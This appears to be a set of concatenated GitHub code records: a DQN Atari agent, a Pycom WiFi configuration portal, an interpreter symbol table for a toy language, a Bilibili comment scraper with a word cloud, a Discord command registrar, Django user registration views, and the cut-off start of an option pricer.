os.mkdir(self.model_dir)\n\n # build target, online network\n self.dqn_type = args.dqn_type\n print('Using {} Network'.format(args.dqn_type))\n if args.dqn_type == None:\n raise Exception('give --dqn_type')\n elif args.dqn_type == 'DQN' or args.dqn_type == 'DoubleDQN':\n self.online_net = DQN(self.input_channels, self.num_actions)\n self.online_net = self.online_net.cuda() if use_cuda else self.online_net\n self.target_net = DQN(self.input_channels, self.num_actions)\n self.target_net = self.target_net.cuda() if use_cuda else self.target_net\n self.target_net.load_state_dict(self.online_net.state_dict())\n elif args.dqn_type == 'DuelDQN' or args.dqn_type == 'DDDQN':\n self.online_net = DQN(self.input_channels, self.num_actions,duel_net=True)\n self.online_net = self.online_net.cuda() if use_cuda else self.online_net\n self.target_net = DQN(self.input_channels, self.num_actions,duel_net=True)\n self.target_net = self.target_net.cuda() if use_cuda else self.target_net\n self.target_net.load_state_dict(self.online_net.state_dict())\n else:\n raise Exception('--dqn_type must in [DQN, DoubleDQN, DuelDQN, DDDQN]')\n\n if args.test_dqn:\n self.load(args.model_path)\n \n # discounted reward\n self.GAMMA = 0.99\n \n # training hyperparameters\n self.train_freq = 4 # frequency to train the online network\n self.num_timesteps = 3000000 # total training steps\n self.learning_start = 10000 # before we start to update our network, we wait a few steps first to fill the replay.\n self.batch_size = 32\n self.display_freq = 100 # frequency to display training progress\n self.target_update_freq = 1000 # frequency to update target network\n\n # optimizer\n self.optimizer = optim.RMSprop(self.online_net.parameters(), lr=1e-4)\n self.steps = 0 # num. of passed steps. this may be useful in controlling exploration\n self.eps_min = 0.025\n self.eps_max = 1.0\n self.eps_step = 200000\n self.plot = {'steps':[], 'reward':[]}\n\n # TODO:\n # Initialize your replay buffer\n self.memory = ReplayBuffer(10000, self.batch_size)\n\n def save(self, save_path):\n print('save model to', save_path)\n model = {'online': self.online_net.state_dict(), 'target': self.self.target_net.state_dict()}\n torch.save(model, save_path)\n\n def load(self, load_path):\n print('Load model from', load_path)\n if use_cuda:\n self.online_net.load_state_dict(torch.load(load_path)['online'])\n else:\n self.online_net.load_state_dict(torch.load(load_path, map_location=lambda storage, loc: storage)['online'])\n\n def init_game_setting(self):\n # we don't need init_game_setting in DQN\n pass\n \n def epsilon(self, step):\n if step > self.eps_step:\n return 0\n else:\n return self.eps_min + (self.eps_max - self.eps_min) * ((self.eps_step - step) / self.eps_step)\n\n def make_action(self, state, test=False):\n if test:\n state = torch.from_numpy(state).permute(2,0,1).unsqueeze(0)\n state = state.cuda() if use_cuda else state\n with torch.no_grad():\n action = self.online_net(state).max(1)[1].item()\n else: \n if random.random() > self.epsilon(self.steps): \n with torch.no_grad():\n action = self.online_net(state).max(1)[1].item()\n else:\n action = random.randrange(self.num_actions)\n\n return action\n\n def update(self):\n if len(self.memory) < self.batch_size:\n return\n\n experiences = self.memory.sample()\n batch_state, batch_action, batch_reward, batch_next, batch_done, = experiences\n\n if self.dqn_type=='DoubleDQN' or self.dqn_type == 'DDDQN':\n next_q_actions = self.online_net(batch_next).detach().max(1)[1].unsqueeze(1)\n next_q_values = self.target_net(batch_next).gather(1,next_q_actions)\n else:\n next_q_values = self.target_net(batch_next).detach()\n next_q_values = next_q_values.max(1)[0].unsqueeze(1)\n \n batch_reward = batch_reward.clamp(-1.1)\n current_q = self.online_net(batch_state).gather(1, batch_action) \n next_q = batch_reward + (1 - batch_done) * self.GAMMA * next_q_values\n loss = F.mse_loss(current_q, next_q)\n self.optimizer.zero_grad()\n loss.backward()\n\n self.optimizer.step()\n return loss.item()\n\n def train(self):\n best_reward = 0\n episodes_done_num = 1 # passed episodes\n total_reward = [] # compute average reward\n total_loss = []\n while(True):\n state = self.env.reset()\n # State: (80,80,4) --> (1,4,80,80)\n state = torch.from_numpy(state).permute(2,0,1).unsqueeze(0)\n state = state.cuda() if use_cuda else state\n done = False\n episodes_reward = []\n episodes_loss = []\n while(not done):\n # select and perform action\n action = self.make_action(state)\n next_state, reward, done, _ = self.env.step(action)\n episodes_reward.append(reward)\n total_reward.append(reward)\n # process new state\n next_state = torch.from_numpy(next_state).permute(2,0,1).unsqueeze(0)\n next_state = next_state.cuda() if use_cuda else next_state\n # TODO:\n # store the transition in memory\n self.memory.add(state, action, reward, next_state, done)\n # move to the next state\n state = next_state\n # Perform one step of the optimization\n if self.steps > self.learning_start and self.steps % self.train_freq == 0:\n loss = self.update()\n episodes_loss.append(loss)\n total_loss.append(loss)\n # update target network\n if self.steps > self.learning_start and self.steps % self.target_update_freq == 0:\n self.target_net.load_state_dict(self.online_net.state_dict())\n # save the model\n self.steps += 1\n \n avg_ep_loss = sum(episodes_loss)/len(episodes_loss) if len(episodes_loss) > 0 else 0\n\n print('Episode: %d | Steps: %d/%d | Avg reward: %f | Loss: %f'% \n (episodes_done_num, self.steps, self.num_timesteps, \n sum(episodes_reward), avg_ep_loss),end='\\r')\n\n self.plot['steps'].append(episodes_done_num)\n self.plot['reward'].append(sum(episodes_reward))\n\n if episodes_done_num % self.display_freq == 0:\n\n avg_reward = sum(total_reward) / self.display_freq\n avg_loss = sum(total_loss) / len(total_loss) if len(total_loss) > 0 else 0\n\n if self.steps < self.eps_step:\n phase = \"Exploring phase\"\n else:\n phase = \"Learning phase\"\n\n print('%s | Episode: %d | Steps: %d/%d | epsilon: %f | Avg reward: %f | Loss: %f'% \n (phase, episodes_done_num, self.steps, self.num_timesteps,\n self.epsilon(self.steps), avg_reward, avg_loss))\n\n if avg_reward > best_reward and self.steps > self.eps_step:\n best_reward = avg_reward\n self.save(os.path.join(self.model_dir, 'e{}_r{:.2f}_model.cpt'.format(episodes_done_num, avg_reward)))\n with open(os.path.join(self.model_dir, 'plot.json'), 'w') as f:\n json.dump(self.plot,f)\n\n total_reward = []\n total_loss = []\n\n episodes_done_num += 1\n\n if self.steps > self.num_timesteps:\n break\n\n self.save(os.path.join(self.model_dir,'e{}_model.cpt'.format(episodes_done_num)))\n with open(os.path.join(self.model_dir, 'plot.json'), 'w') as f:\n json.dump(self.plot,f)\n","repo_name":"hsiehjackson/Deep-Reinforcement-Learning-on-Atari-Games","sub_path":"agent_dir/agent_dqn.py","file_name":"agent_dqn.py","file_ext":"py","file_size_in_byte":11933,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"61"} +{"seq_id":"32997664005","text":"import network\nfrom network import WLAN\nimport usocket as socket\nfrom config_page import get_html_form\nimport machine\nimport pycom\nimport gc\nimport Configuration\nfrom helper import wifi_lock, led_lock, blink_led\nfrom RtcDS1307 import clock\nimport ujson\nimport ubinascii\nimport machine\n\ndef new_config(logger, arg):\n \"\"\"\n Method that turns the pycom to an access point for the user to connect and update the configurations.\n The device automatically reboots and applies modifications upon successful configuration.\n Takes an extra dummy argument required by the threading library.\n :param logger: status logger\n :type logger: LoggerFactory\n \"\"\"\n config = Configuration.Configuration(logger) #TODO: fix\n # Only one of this thread is allowed to run at a time\n if not wifi_lock.locked():\n with wifi_lock:\n\n logger.info(\"New configuration setup started\")\n\n # Config uses LED colours to indicate the state of the connection - lock is necessary to disable error pings\n led_lock.acquire(1)\n unique_id = ubinascii.hexlify(machine.unique_id()).decode()\n # set pycom up as access point\n wlan = network.WLAN(mode=WLAN.AP, ssid=config.get_config(\"device_name\")+ unique_id)\n # Connect to PmSensor using password set by the user\n wlan.init(mode=WLAN.AP, ssid=config.get_config(\"device_name\")+ unique_id, auth=(WLAN.WPA2, config.get_config(\"password\")), channel=1,\n antenna=WLAN.INT_ANT)\n # Load HTML via entering 192,168.4.10 to browser\n wlan.ifconfig(id=1, config=('192.168.4.10', '255.255.255.0', '192.168.4.1', '192.168.4.1'))\n\n logger.info('Access point turned on as {}'.format(config.get_config(\"device_name\") + unique_id))\n logger.info('Configuration website can be accessed at 192.168.4.10')\n\n address = socket.getaddrinfo('0.0.0.0', 80)[0][-1] # Accept stations from all addresses\n sct = socket.socket() # Create socket for communication\n sct.settimeout(int(float(config.get_config(\"config_timeout\")) * 60)) # session times out after x seconds\n gc.collect() # frees up unused memory if there was a previous connection\n sct.bind(address) # Bind address to socket\n sct.listen(1) # Allow one station to connect to socket\n\n pycom.rgbled(0x000055) # Blue LED - waiting for connection\n\n get_new_config(sct, logger)\n\n wlan.deinit() # turn off wifi\n gc.collect()\n\n logger.info('rebooting...')\n machine.reset()\n\n\n# Sends html form over wifi and receives data from the user\ndef get_new_config(sct, logger):\n \"\"\"\n Sends an html form to a web socket, and waits for the user to connect\n :param sct: web socket\n :type sct: socket object\n :param logger: status logger\n :type logger: LoggerFactory object\n \"\"\"\n try:\n while True:\n try:\n client, address = sct.accept() # wait for new connection\n except Exception as e:\n raise Exception(\"Configuration timeout\")\n client.send(get_html_form()) # send html page with form to submit by the user\n pycom.rgbled(0x005500) # Green LED - Connection successful\n received_data = str(client.recv(3000)) # wait for client response\n # logger.debug(received_data)\n client.close() # socket has to be closed because of the loop\n if process_data(received_data, logger):\n return\n except Exception as e:\n logger.exception(\"Failed to configure the device\")\n led_lock.release()\n blink_led((0x550000, 3, True)) # Red LED - Error\n return\n\n\ndef process_data(received_data, logger):\n \"\"\"\n Processes form sent by the user as a json string and saves new configurations. Also updates time on the RTC module.\n :param received_data: json string received from the web socket\n :type received_data: str\n :param logger: status logger\n :type logger: LoggerFactory\n :return: True or False\n :rtype: bool\n \"\"\"\n # find json string in received message\n first_index = received_data.rfind('time_begin')\n last_index = received_data.rfind('time_end')\n\n if first_index != -1 and last_index != -1:\n config_time_str = received_data[(first_index + len('time_begin')):last_index]\n config_time_lst = config_time_str.split(':')\n config_time_lst[0] = config_time_lst[0][2:]\n h_yr, h_mnth, h_day, h_hr, h_min, h_sec = int(config_time_lst[0], 16), int(config_time_lst[1], 16), \\\n int(config_time_lst[2], 16), int(config_time_lst[3], 16), \\\n int(config_time_lst[4], 16), int(config_time_lst[5], 16)\n try:\n clock.set_time(h_yr, h_mnth, h_day, h_hr, h_min, h_sec)\n logger.info('RTC module calibrated via WiFi')\n except Exception:\n logger.warning('RTC module is not available for calibration via WiFi')\n\n # find json string in received message\n first_index = received_data.rfind('json_str_begin')\n last_index = received_data.rfind('json_str_end')\n\n if first_index != -1 and last_index != -1:\n config_json_str = received_data[(first_index + len('json_str_begin')):last_index]\n new_config_dict = {\"LORA\": \"OFF\"} # checkbox default value is false - gets overwritten if its true\n new_config_dict.update(ujson.loads(config_json_str))\n\n if len(config_json_str) >= 1000:\n logger.error('Received configurations are too long')\n logger.info('Enter configurations with valid length')\n return False # keep looping - wait for new message from client\n\n logger.info('Configuration data received from user')\n config.save_config(new_config_dict)\n return True\n\n return False # keep looping - wait for new message from client\n","repo_name":"pyonair/PyonAir-pycom","sub_path":"code/lib/new_config.py","file_name":"new_config.py","file_ext":"py","file_size_in_byte":6020,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"40924660974","text":"'''\n======================================================================================\n--------------------------------------------------------------------------------------\n\nThis file contains the hash table of variables and function names and values\n\n--------------------------------------------------------------------------------------\n======================================================================================\n'''\nimport math\nfrom asinerrs import *\nfrom asinhelper import *\n\nclass HashTable:\n '''\n Represents a pseudo-hash table as a list of two dictionaries\n '''\n def __init__(self):\n '''\n SYMBOLS and FUNCTIONS pertain to the indices of the table, and is for our convenience only.\n\n TABLE is a list of two dictionaries; the first stores variable identifiers as keys pointing\n to their respective values, the second stores Asin's built-in functions.\n '''\n self.SYMBOLS = 0\n self.FUNCTIONS = 1\n\n self.TABLE = [{},{}]\n\n def setVar(self, varName, value):\n '''\n Assigns a value to an identifier. The value will become accessible\n through the key, varName.\n '''\n self.TABLE[self.SYMBOLS][varName] = value\n\n def getVar(self, varName):\n '''\n Returns the value accessible through the key, varName.\n If not found, raise an error akin to Python's NameError.\n '''\n if varName in self.TABLE[self.SYMBOLS]:\n return self.TABLE[self.SYMBOLS][varName]\n raise MaalatNaSimbolo(varName)\n\n def delVar(self, varName):\n '''\n Removes an identifier, and consequently the value bound to it,\n from the first dictionary\n '''\n del self.TABLE[self.SYMBOLS][varName]\n\n def setFunc(self, funcName, func):\n '''\n Assigns a function to a name. The function (func) becomes accessible\n through the key, funcName.\n\n NOTE: This function is only used for loading Asin's built-in functions;\n the language lacks support for user-defined functions.\n '''\n self.TABLE[self.FUNCTIONS][funcName] = func\n\n def getFunc(self, funcName):\n '''\n Returns the function specified by the key, funcName. If not\n found, raise an error akin to Python's NameError\n '''\n if funcName in self.TABLE[self.FUNCTIONS]:\\\n return self.TABLE[self.FUNCTIONS][funcName]\n raise MaalatNaSimbolo(funcName)\n\n\n# ====================================================================================\n# ~: Asin's Functions (and loader) :~\n# ====================================================================================\n\ndef palitan(array: list, index, value):\n '''\n Asin function for replacing a value in a list\n '''\n try:\n array[index] = value\n except TypeError:\n raise MaalatNaIndeks(index.__class__.__name__, index)\n except IndexError:\n raise MaalatNaIndeks(index, array, 0, len(array) - 1)\n\ndef idagdag(array: list, value):\n '''\n Asin function for appending values to an array\n '''\n array.append(value)\n\ndef tanggalan(array: list):\n '''\n Asin function for popping values from an array\n '''\n return array.pop()\n\ndef silipin(array: list):\n '''\n Asin function for getting the rightmost element of an array\n '''\n return array[-1]\n\ndef isaayos(array: list, descending: bool=False):\n '''\n Asin function for sorting an array using Python's native sort() function\n '''\n if descending:\n array.sort(reverse=True)\n else:\n array.sort()\n\ndef baligtarin(array: list):\n '''\n Asin function for reversing an array using Python's native reverse() function\n '''\n array.reverse()\n\ndef baligtad(array: list):\n '''\n Asin function for returning a reversed version of the list argument\n '''\n return list(reversed(array))\n\ndef buksan(file, access):\n '''\n Asin function for opening a file\n '''\n try:\n return open(file, access)\n except FileNotFoundError:\n raise MaalatAtNawawalangFile(file)\n\ndef basahin(file):\n '''\n Asin function for entirely reading a file\n '''\n return file.read()\n\ndef linya(file):\n '''\n Asin function for getting a line from a file at the cursor's current position\n '''\n return file.readline()\n\ndef isulat(file, toWrite):\n '''\n Asin function for writing something into a file\n '''\n file.write(toWrite)\n\ndef isara(file):\n '''\n Asin function for closing a file\n '''\n\ndef asin():\n '''\n This is a superficial function that prints \"Asin\" in Old English,\n a pile of salt made out of ASCII characters and the language's\n author's names\n '''\n image = \"\"\" \n .+ydNMMMNdy+. :oo` .` \n -dMNhso++oydMMMmmy od. \n +My- ./oso:o:/NMM: .y+ o` \n .M: ohoshMs` hMM/ ::` sh `/` :. -- \n :d . `o: hMM+ `-odMMMNdhds` `yNMNy` `+mMMy `/dMMy/+` \n d` :o` hMM+ mMM+./+osd- :MMM: ` +MMM/:dmmMMh \n `s: `s:```````hMMo mMM+ +h` .MMM. :MMM hMMs \n -+oNMMMMMMMMMMMMs mMMms/dMMMdo .MMM. :MMM hMMs \n `o:..........dMMy .+hNN+ -yMMM .MMM. :MMM hMMs \n /Nds/. -mMMh :s. :MMM .MMM. :MMM hMMs \n syhmMMMNho:.++-yMMM/+: `yNhddyooMMM `MMM/-` oMMM: yMMd.- \n -N. `:smMMh/ .mMNs. :NdssymMMh+-` sMMy- .sNMm+ -mMd+` \n\n ( S A L T )\n\n `:` \n `-mNms:` \n .+hhNNNNNNh- \n -sdddNNNNNNNNNo` \n :hdmhmNNNNNNNNNNNo \n :dmmNddNNNNNNNNNNNNs` \n :yNmmmmhNNNNNNNNNNNNNd/` \n .+hmmmmmmmyNNNNNNNNNNNNNNNmy. \n :yddmdmmmNmmhNNNNNNNNNNNNNNNNNmo-` \n `:smmNmmNmmmmdhNNNNNNNNNNNNNNNNNNNNNdo. \n :dmNdmNmmmmmmhdNNNNNNNNNNNNNNNNNNNNNNNNd- \n :dmdNmmmmdmmmhNNNNNNNNNNNNNNNNNNNNNNNNNNNm+` \n `:smNNmmmNmmNmmhNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNh` \n /dmdNmmmmmNddddmNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN+ \n ````..:ommmmmmmmmmmmydNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNmo.` \n ```..-yhydmdmmmmmNmdmmmmhNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNdo-:-``` \n ` ``.--`.:::/ohdddmmmNmmmdddmNNNNNNmNNNNNNNNNNNNNNNNNNNNNdsyhdddmdh+--..` \n `` ` .::--`.--.-.::/:odmmmNNNNNNmdhddh+ooso::/::/+/:-`-` `.-.`.-`` ` \n `` `.-...-://osoo-::--.`` ` \n \n Proyekto sa CS 150: Programming Languages, nina\n Don Rodolfo Abril y Padilla at Jerico Silapan y Lim\"\"\"\n print(image)\n\ndef kargahan(hashtable: HashTable):\n '''\n Loader function to add all built-in variables and\n functions to the hash table for use in Asin programs\n '''\n\n # SYMBOLS\n\n # mathematical constants\n hashtable.setVar('asin_pi', math.pi)\n hashtable.setVar('asin_e', math.e)\n\n # FUNCTIONS\n\n # typecasting functions\n hashtable.setFunc('bilang', AsinFunction(int)) # typecast to int\n hashtable.setFunc('lutang', AsinFunction(float)) # typecast to flaot\n hashtable.setFunc('titik', AsinFunction(str)) #typecast to string\n\n # math functions\n hashtable.setFunc('halaga', AsinFunction(abs)) # absolute value\n hashtable.setFunc('ibilog', AsinFunction(round)) # rounding off\n hashtable.setFunc('putulin', AsinFunction(math.trunc)) # truncation of fractional values (float -> integer)\n hashtable.setFunc('kisame', AsinFunction(math.ceil)) # ceiling function\n hashtable.setFunc('sahig', AsinFunction(math.floor)) # floor function\n hashtable.setFunc('iangat', AsinFunction(math.pow)) # exponentiation\n hashtable.setFunc('ibaba', AsinFunction(math.log)) # logarithmic function\n hashtable.setFunc('parisugat', AsinFunction(math.sqrt)) # square root\n\n hashtable.setFunc('maximo', AsinFunction(max)) # returns maximum value in list\n hashtable.setFunc('minimo', AsinFunction(min)) # returns minimum value in list\n\n hashtable.setFunc('haba', AsinFunction(len)) # returns the length of an iterable\n\n # list functions\n hashtable.setFunc('palitan', AsinFunction(palitan)) # replaces a value in a list at a certain index\n hashtable.setFunc('idagdag', AsinFunction(idagdag)) # appends a value to a list\n hashtable.setFunc('tanggalan', AsinFunction(tanggalan)) # pops a value from the list\n hashtable.setFunc('silipin', AsinFunction(silipin)) # returns the value of the last element of the list\n hashtable.setFunc('baligtarin', AsinFunction(baligtarin)) # reverses a list in-place\n hashtable.setFunc('baligtad', AsinFunction(baligtad)) # return a reversed version of the list argument\n\n # list functions (sorting)\n hashtable.setFunc('isaayos', AsinFunction(isaayos)) # sort a list in-place\n hashtable.setFunc('nakaayos', AsinFunction(sorted)) # return a sorted version of the list argument\n\n # file I/O\n hashtable.setFunc('pahingi', AsinFunction(input)) # prompts for user input through CLI\n hashtable.setFunc('buksan', AsinFunction(buksan)) # creates a file object\n hashtable.setFunc('basahin', AsinFunction(basahin)) # gets all the contents of a file\n hashtable.setFunc('linya', AsinFunction(linya)) # gets a line from the file at the cursor\n hashtable.setFunc('isulat', AsinFunction(isulat)) # writes contents to a file\n hashtable.setFunc('isara', AsinFunction(isara)) # closes a file\n\n # prints \"Asin\" and a salt pile in ASCII characters\n hashtable.setFunc('asin', AsinFunction(asin))","repo_name":"dpabril/Asin","sub_path":"asintable.py","file_name":"asintable.py","file_ext":"py","file_size_in_byte":10525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23953407804","text":"import jieba\nimport requests\nimport json\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nfrom wordcloud import WordCloud\nimport numpy as np\n\ndef pl():\n res=requests.get(url).json()\n print(type(res))\n res=res['data']\n next=res.get('next')\n print(next)\n res=res['list']\n for i in range(20):\n comment=res[i].get('content')\n f = open('Bcomment.txt', 'a+', encoding='utf-8')\n print(comment)\n f.writelines(comment)\n f.close()\n return next\nd=0\nwhile d<15:\n if d==0:\n url=\"https://api.bilibili.com/pgc/review/short/list?media_id=8892&ps=20&sort=0\"\n pl()\n d+=1\n else:\n cursor=pl()\n url=\"https://api.bilibili.com/pgc/review/short/list?media_id=8892&ps=20&sort=0&cursor=\"+str(cursor)\n d+=1\ntxt=open('Bcomment.txt','r',encoding='utf-8').read()\nwords=jieba.lcut(txt)\ncounts={}\nfor word in words:\n if len(word) == 1:\n continue\n else:\n counts[word]=counts.get(word,0)+1\nitems=list(counts.items())\n\nitems.sort(key=lambda x:x[1],reverse=True)\nfor e in range(50):\n word,count=items[e]\n print(\"{0:<15}{1:>5}\".format(word,count))\nwc = WordCloud(background_color=\"white\", max_words=50)\n# generate word cloud\nwc.generate_from_frequencies(counts)\n\n # show\nmask = np.array(Image.open(\"d2.jpg\"))\nwc = WordCloud(mask=mask,mode='RGBA', background_color=None,max_words=500).generate_from_frequencies(counts)\n\n# 显示词云\nplt.imshow(wc, interpolation='bilinear')\nplt.axis(\"off\")\nplt.show()\n\n# 保存到文件\n\n'''\nwc.to_file(path.join(d, \"alice.png\"))\n\n# show\nplt.imshow(wc, interpolation='bilinear')\nplt.axis(\"off\")\nplt.figure()\nplt.imshow(alice_mask, cmap=plt.cm.gray, interpolation='bilinear')\nplt.axis(\"off\")\nplt.show()\n'''","repo_name":"starlcslord/exercise","sub_path":"python exercise/B站番剧评论爬取.py","file_name":"B站番剧评论爬取.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11029036498","text":"'''\ncommands.py\n\nThis script will take the 'commands' from schema.py and update the hardcoded guild\nwith a set of slash commands to match\n'''\nimport os\n\nimport discord\nimport schema\n\nBOT_TOKEN = os.getenv('BOT_TOKEN')\n\n#guild_id = \"844763297122091029\" # Testing\nguild_id = \"689178570970628148\" # The Basement\n\n# Authorization using bot token\nheaders = {\n 'Authorization': f'Bot {BOT_TOKEN}'\n}\n\ndef make_command(skill, cmd):\n command = {\n 'name': cmd,\n 'description': f'Make a roll against your {skill} skill',\n 'options': [\n {\n 'name': 'bonus',\n 'description': 'Whether to apply a bonus die',\n 'type': 5,\n 'required': False\n },\n {\n 'name': 'penalty',\n 'description': 'Whether to apply a penalty die',\n 'type': 5,\n 'required': False\n },\n {\n 'name': 'advancement',\n 'description': 'Make an advancement-type roll',\n 'type': 5,\n 'required': False\n }\n ]\n }\n code = discord.create_guild_command(guild_id, command, headers)\n print(f'Made {cmd} - {code}')\n\ndef main():\n for skill in schema.mapping:\n make_command(skill, schema.mapping[skill])\n\nif __name__ == '__main__':\n main()","repo_name":"krmoule/dice-roller-2021","sub_path":"commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21390787439","text":"# pythonfile for generating trainingimages and the associated testdata\n#%%\n#!/usr/bin/env python\n\nimport random\nfrom PIL import Image\nfrom PIL import ImageDraw\nimport csv\n\npicturecount = 0\n\ndef draw () :\n \n # draw a 64x64 canvas\n canvas_width = 64\n canvas_height = 64\n\n # colour all pixles white\n white = (255, 255, 255)\n \n # used to generate a random number which will then be used to draw an eclipse\n # the more the ellipse equals a circle the higher is the worth\n diff = random.randrange(0, 30, 3)\n y1 = 16 + diff / 2\n y2 = 48 - diff / 2\n\n image1 = Image.new(\"RGB\", (canvas_width, canvas_height), white)\n draw = ImageDraw.Draw(image1)\n draw.ellipse([16,y1,48,y2], fill=\"white\", outline = \"black\")\n\n # save the generated image\n filename = \"circle\"+str(picturecount)+\".jpg\"\n image1.save(filename)\n return diff\n\n# open or create a picture.csv. The picture.csv will contain the worth of each picture in same order\nwith open('pictures.csv', 'w', newline = '') as csvfile:\n filewriter = csv.writer(csvfile, delimiter=';', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n while picturecount < 200:\n diff = draw()\n filewriter.writerow([ str( 10 - (diff / 3)) ])\n picturecount += 1","repo_name":"Alex88xl/CrocKI","sub_path":"Kreise/pgenerator.py","file_name":"pgenerator.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"32205241047","text":"from CQRobot_ADS1115 import ADS1115\nimport time\n\n\n\n\n\ndef get_ec_level():\n ADS1115_REG_CONFIG_PGA_6_144V = 0x00 # 6.144V range = Gain 2/3\n ads1115 = ADS1115()\n\n # Set the IIC address\n ads1115.setAddr_ADS1115(0x48)\n\n # Sets the gain and input voltage range.\n ads1115.setGain(ADS1115_REG_CONFIG_PGA_6_144V)\n\n VREF = 5.0\n analogBuffer = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]\n analogBufferTemp = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]\n analogBufferIndex = 0\n copyIndex = 0\n averageVoltage = 0\n tdsValue = 0\n temperature = 25\n\n def getMedianNum(iFilterLen):\n nonlocal analogBufferTemp\n bTemp = 0.0\n for j in range(iFilterLen-1):\n for i in range(iFilterLen-j-1):\n if analogBufferTemp[i] > analogBufferTemp[i+1]:\n bTemp = analogBufferTemp[i]\n analogBufferTemp[i] = analogBufferTemp[i+1]\n analogBufferTemp[i+1] = bTemp\n if iFilterLen & 1 > 0:\n bTemp = analogBufferTemp[(iFilterLen - 1)//2]\n else:\n bTemp = (analogBufferTemp[iFilterLen // 2] + analogBufferTemp[iFilterLen // 2 - 1]) / 2\n return float(bTemp)\n\n analogSampleTimepoint = time.time()\n printTimepoint = time.time()\n\n while True:\n if time.time() - analogSampleTimepoint > 0.04:\n analogSampleTimepoint = time.time()\n analogBuffer[analogBufferIndex] = ads1115.readVoltage(1)['r']\n analogBufferIndex = analogBufferIndex + 1\n if analogBufferIndex == 30:\n analogBufferIndex = 0\n\n if time.time() - printTimepoint > 0.8:\n printTimepoint = time.time()\n for copyIndex in range(30):\n analogBufferTemp[copyIndex] = ads1115.readVoltage(1)['r']\n\n averageVoltage = getMedianNum(30) * (VREF / 1024.0)\n compensationCoefficient = 1.0 + 0.02 * (temperature - 25.0)\n compensationVolatge = averageVoltage / compensationCoefficient\n ec_level = (133.42 * compensationVolatge * compensationVolatge * compensationVolatge - 255.86 * compensationVolatge * compensationVolatge + 857.39 * compensationVolatge) * 0.5\n\n return ec_level\n\nif __name__ == \"__main__\":\n print(get_ec_level())\n","repo_name":"sivn-glitch/Cura-Viridi-Images","sub_path":"get_ec_level.py","file_name":"get_ec_level.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23769648523","text":"from django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate ,login, logout\nfrom .models import User\n#from social_django.utils import psa\n#from social_core.actions import do_auth\nfrom .form import RegisterUserForm\nfrom resume.models import Resume\nfrom company.models import Company\n\n\n#register applicant only\ndef register_applicant(request):\n if request.method == 'POST':\n form = RegisterUserForm(request.POST)\n if form.is_valid():\n var = form.save(commit = False)\n var.is_applicant = True\n var.username = var.email\n var.save()\n Resume.objects.create(user=var)\n messages.info(request, 'Your account has been creates. Please login')\n return redirect('login')\n else:\n print(form.errors)\n messages.warning(request, 'Something went wrong')\n return redirect('register-applicant')\n else:\n form = RegisterUserForm()\n context = {'form':form}\n return render(request, 'users/register_applicant.html',context)\n \n\n #register recruiter only\ndef register_recruiter(request):\n if request.method == 'POST':\n form = RegisterUserForm(request.POST)\n if form.is_valid():\n var = form.save(commit = False)\n var.is_recruiter = True\n var.username=var.email\n\n var.save()\n Company.objects.create(user=var)\n \n messages.info(request,'Your account has been created . Please login')\n return redirect('login')\n else:\n messages.warning(request,'Something went wrong')\n return redirect('register-recruiter')\n else:\n form = RegisterUserForm()\n context={'form':form}\n return render(request,'users/register_recruiter.html',context) \n\n\n\n #login a user\ndef login_user(request):\n if request.method == 'POST':\n email=request.POST.get('email')\n password=request.POST.get('password')\n\n user = authenticate(request, username=email, password=password)\n if user is not None and user.is_active:\n login(request,user)\n return redirect('dashboard')\n # if request.user.is_applicant:\n # return redirect('applicant-dashboard')\n # elif request.user.is_recruiter:\n # return redirect('recruiter-dashboard')\n # else :\n # return redirect('login')\n else:\n messages.warning(request,'Something went wrong')\n return redirect('login') \n else:\n return render(request, 'users/login.html')\n \n# @psa('social:complete')\n# def social_login(request, backend):\n# \"\"\"Social media authentication view\"\"\"\n# return do_auth(request.backend, redirect_name='social-login-callback')\n\n# @psa('social:complete')\n# def social_login_callback(request, backend):\n# \"\"\"Social media authentication callback view\"\"\"\n# user = request.backend.do_auth(request.GET.get('access_token'))\n# if user:\n# login(request, user)\n# return redirect('dashboard')\n# else:\n# messages.warning(request, 'Social media authentication failed')\n# return redirect('login')\n\n#logout a user\n\ndef logout_user(request):\n try:\n logout(request)\n messages.info(request, 'Your session has ended')\n return redirect('login')\n except Exception as e:\n messages.warning(request, 'An error occurred during logout')\n return redirect('login')\n\n\n \n","repo_name":"youFness/bachelor-project","sub_path":"django_project/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15365069078","text":"import math\nimport numpy as np\nfrom numpy.random import standard_normal as StdNormal\nfrom scipy.stats import norm\n\nclass basketGeo:\n\n def __init__(self, s0_1 = None, s0_2 = None, sigma_1 = None, sigma_2 = None, r = 0, T = 0, K = None, rho = None, option = None):\n\n self.s0_1 = s0_1\n self.s0_2 = s0_2\n self.sigma_1 = sigma_1\n self.sigma_2 = sigma_2\n self.r = r\n self.T = T\n self.K = K\n self.rho = rho\n self.option = option\n\n def basketGeoPrice(self, t = 0):\n\n s0_1, s0_2, sigma_1, sigma_2, r, T, K, rho = self.s0_1, self.s0_2, self.sigma_1, self.sigma_2, 